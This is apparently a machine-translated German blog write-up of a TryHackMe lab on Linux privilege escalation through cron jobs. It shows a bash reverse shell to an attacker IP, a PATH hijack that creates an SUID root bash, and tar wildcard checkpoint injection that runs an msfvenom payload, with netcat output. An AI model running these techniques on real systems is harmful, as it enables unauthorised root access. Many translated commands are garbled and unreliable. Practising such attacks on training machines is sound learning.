[Tryhackme] Erhöhung des Privilegs mit Cron Jobs! Linux privesc schreiben Teil 5

[Tryhackme] Erhöhung des Privilegs mit Cron Jobs! Linux privesc schreiben Teil 5

Dieses Mal werden wir "Erhöhung des Privilegs mit Cron -Jobs" versuchen.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 5.
Wenn Sie die Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch die Erhöhung der Berechtigung mit den Umgebungsvariablen LD_PRELOAD und LD_LIBRARY_PATH

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke
\Rakuten Points Sale! /
Rakuten -Markt
\5% Punkte zurück! /
Yahoo einkaufen
Autor: Ipusiron
¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)
\Rakuten Points Sale! /
Rakuten -Markt
\5% Punkte zurück! /
Yahoo einkaufen
Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo
¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)
\Rakuten Points Sale! /
Rakuten -Markt
\5% Punkte zurück! /
Yahoo einkaufen
Inhaltsverzeichnis

Vorbereitung

"Erläuterung"

ssh user@10.10.166.11 255 ⨯ Die Authentizität von Host '10 .10.166.11 (10.10.166.11) 'kann nicht festgelegt werden. RSA Key Fingerabdruck ist SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCXCOAHO6S8WYGJKTANK. Dieser Host -Schlüssel ist unter den folgenden anderen Namen/Adressen bekannt: ~/.Ssh/Bekannte_Hosts: 1: [Hashed -Name] Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.166.11 '(RSA) in die Liste der bekannten Hosts. user@10.10.166.11 Kennwort: Linux Debian 2.6.32-5-amd64 #1 SMP-Tue 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr 

Erhöhung des Privilegs mit Cron -Jobs

Cron Jobs ist eine Funktion, mit der Benutzer planen können, sie zu einem bestimmten Zeitpunkt oder einem bestimmten Intervall auszuführen.
Verwenden wir diese Cron -Jobs, um Wurzelrechte zu erhalten.

Cron Jobs - Einleitungen zur Verfügung stellen

Lassen Sie uns zunächst den Inhalt von Crontab anzeigen.
Crontab enthält die Konfiguration von Cron -Jobs.

Benutzer@debian: ~ $ cat /etc /crontab # /etc /crontab: Systemweit Crontab # Im Gegensatz zu jedem anderen Crontab müssen Sie den Befehl "crontab" # nicht ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/con.d bearbeiten. Diese Dateien haben auch Benutzernamenfelder, die keiner der anderen Crontabs tun. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom mon dow user befehl 17 * * * * * root cd/&& run -parts - -report/ (CD /&& Run -Parts --Report /etc/cron.daily) 47 6 * * 7 Root Test -x /usr /sbin /Anacron || (CD /&& Run -Parts --Report /etc/cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& run-parts--Report /etc/cron.monthly) # * * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh

Aus diesem Grund können Sie sehen, dass zwei Cron -Jobs jede Minute ausgeführt werden: "overwrite.sh" und "/usr/local/bin/compress.sh".

Suchen wir nun nach dem vollständigen Weg zu overwrite.sh.

Benutzer@debian: ~ $ socate overwrite.sh /usr/local/bin/overwrite.sh

Es stellt sich heraus, dass es "/usr/local/bin/overwrite.sh" ist.
Überprüfen wir weiterhin die Zugriffsberechtigungen der Datei.

Benutzer@debian: ~ $ ll /usr/local/bin/overwrite.sh -rwxr-rw- 1 Root Staff 40 Mai 13. Mai 2017 /usr/local/bin/overwrite.sh

Overwrite.sh ist für jeden beschreibbar.
Schreiben Sie nun überschreiben und führen Sie die Reverse Shell aus.

user@debian: ~ $ vi /usr/local/bin/overwrite.sh user@debian: ~ $ cat /usr/local/bin/overwrite.sh #!/bin/bash bash -i> & /dev/tcp/10.18.110.90/4444 0> & 1

Sobald Sie so umgeschrieben haben, gehen Sie zum Angriffsgerät und hören Sie sie mit NetCat an.

┌── (hacklab㉿hackLab) -[~] └─ $ NC -NVLP 4444 Hören Sie sich [an jedem] 4444 ... eine Verbindung zu [10.18.110.90] von (unbekannt) [10.10.166.11]. 

Ich denke, Sie können die Wurzelschale in weniger als einer Minute bekommen.
Nur um in Sicherheit zu sein, ich werde Whoami rennen.

root@debian: ~# whoami whoami root@debian: ~# 

Jetzt haben Sie Root -Privilegien!

Cron Jobs - Pfadumgebungsvariable

Lassen Sie uns Crontab erneut anzeigen.
Schauen wir uns als nächstes die Tatsache an, dass der Pfad "/home/user" enthält.
Overwrite.sh wird so ausgeführt, wenn es auf einem Pfad ist, sodass Sie Shell ausführen können, indem Sie sie als overwrite.sh imitieren.

Benutzer@debian: ~ $ cat /etc /crontab # /etc /crontab: Systemweit Crontab # Im Gegensatz zu jedem anderen Crontab müssen Sie den Befehl "crontab" # nicht ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/con.d bearbeiten. Diese Dateien haben auch Benutzernamenfelder, die keiner der anderen Crontabs tun. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom mon dow user befehl 17 * * * * * root cd/&& run -parts - -report/ (CD /&& Run -Parts --Report /etc/cron.daily) 47 6 * * 7 Root Test -x /usr /sbin /Anacron || (CD /&& Run -Parts --Report /etc/cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& run-parts--Report /etc/cron.monthly) # * * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh

Kopieren Sie nun "/bin/bash" unter "/home/user" und fügen Sie Ausführungsberechtigungen und Suid -Berechtigungen hinzu.

SUID -Berechtigungen sind ein Mechanismus, der mit den Berechtigungen des Dateibesitzers ausgeführt werden kann, wenn ein anderer Benutzer ihn ausführt.
In diesem Fall können Sie es mit Root -Privilegien ausführen.

Benutzer@debian: ~ $ vi /home/user/overwrite.sh user@debian: ~ $ cat /home/user/overwrite.sh #!/bin/bash cp/bin/bash/tmp/rootbash chmod +xs/tmp/rootbash

Nachdem Sie ungefähr eine Minute gewartet haben, führen Sie die kopierten "/tmp/rootbash" mit -P durch.
Ich habe es geschafft, eine Shell zu bekommen, die mit Root -Privilegien ausgeführt wird!

Benutzer@debian: ~ $ /tmp /rootbash -p rootbash -4.1# whoami root

Cron Jobs - Wildcards

Schauen wir uns als nächstes eine andere Hülle an.

user@debian: ~ $ cat /usr/local/bin/compress.sh #!/bin/sh cd/home/user tar czf /tmp/backup.tar.gz *

Der TAR -Befehl verwendet Wildcards im Heimverzeichnis.
TAR hat die Möglichkeit, Befehle als Teil eines Checkpoint auszuführen.
Dies wird verwendet, um die Reverse Shell auszuführen.

Verwenden Sie zunächst MSFvenom, um eine Reverse Shell zu generieren.

┌── (hacklab㉿hackLab) -[~] └─ $ msfvenom -p linux/x64/Shell_reverse_tcp lhost = 10.18.110.90 lport = 4444 -f -Elf -o -Shell. Payload No -Encoder angegeben, Ausgabe von Rohkostennutzlastgröße: 74 Bytes endgültige Größe der ELF -Datei: 194 Bytes als: Shell.elf.

Übertragen wir dieses Mal Dateien mit SCP.

┌── (hacklab㉿hacklab)-[~/tryhackme/linuxPrivenv] └─ $ scp Shell.elf User@10.10.166.11: ~/user@10.10.166.11's Passwort: Shellel. 

Kehren Sie zum Zielgerät zurück und prüfen Sie, ob die Übertragung ordnungsgemäß durchgeführt wird.
Es gab Shell.elf.

Benutzer@debian: ~ $ ll insgesamt 12 -rw-r-r-- 1 Benutzer Benutzer 212 15. Mai 2017 MyVPN.ovpn-Rw-r- R-- 1 Benutzer Benutzer 194 Apr 6 09:18 Shell.elf Drwxr-XR-X 8 Benutzer 4096 Mai 15 2020 Tools

Ergeben Sie Shell.elf.

chmod +x /home/user/shell.elf user@debian: ~ $ ll insgesamt 12 -rw-r- r-- 1 Benutzer Benutzer 212 Mai 15

Erstellen Sie anschließend die folgende Datei:
Wenn Sie die TAR -Option auf den Dateinamen festlegen, wird sie eher als Option als als Dateiname behandelt.

user@debian: ~ $ touch/home/user/-checkpoint = 1 user@debian: ~ $ touch /home/user/-Checkpoint-action=exec=shell.elf Benutzer@debian: ~ $ ll Gesamt 12 -rw-r-1 Benutzer Benutzer 0 Apr 6 09:26-Checkpoint = 1 -rw-r- -RW-R-R-- 1 Benutzer Benutzer 212 15. Mai 2017 myvpn.ovpn -rwxr-XR-X 1 Benutzer Benutzer 194 Apr 6 09:18 Shell.Frwxr-XR-X 8 Benutzer 4096 Mai 15 2020 Tools

Hören Sie es in diesem Zustand mit NetCat an.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.166.11] 52692 bash: no job control in this shell root@debian:~# whoami whoami root root@debian:~# 

Jetzt haben Sie Root -Privilegien!

Zusammenfassung

Dieses Mal habe ich "Erhöhung des Privilegs mit Cron -Jobs" versucht.
Da es eine Funktion ist, die ich häufig benutze, bin ich ein wenig besorgt, dass ich daran gearbeitet habe, ohne über irgendetwas nachzudenken. . .
Ich war immer so neugierig, ob dies getan werden könnte.

Referenzen und Websites

Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5

Teilen Sie, wenn Sie möchten!

Wer hat diesen Artikel geschrieben

Dies ist ein Blog, in dem ich angefangen habe, Informationssicherheit zu studieren. Als neuer Angestellter würde ich mich freuen, wenn Sie mit einem breiten Herzen schauen könnten.
Es gibt auch Teech Lab, das eine Gelegenheit ist, Programmierspaß zu studieren. Wenn Sie also an der Softwareentwicklung interessiert sind, sollten Sie sich unbedingt ansehen!

Inhaltsverzeichnis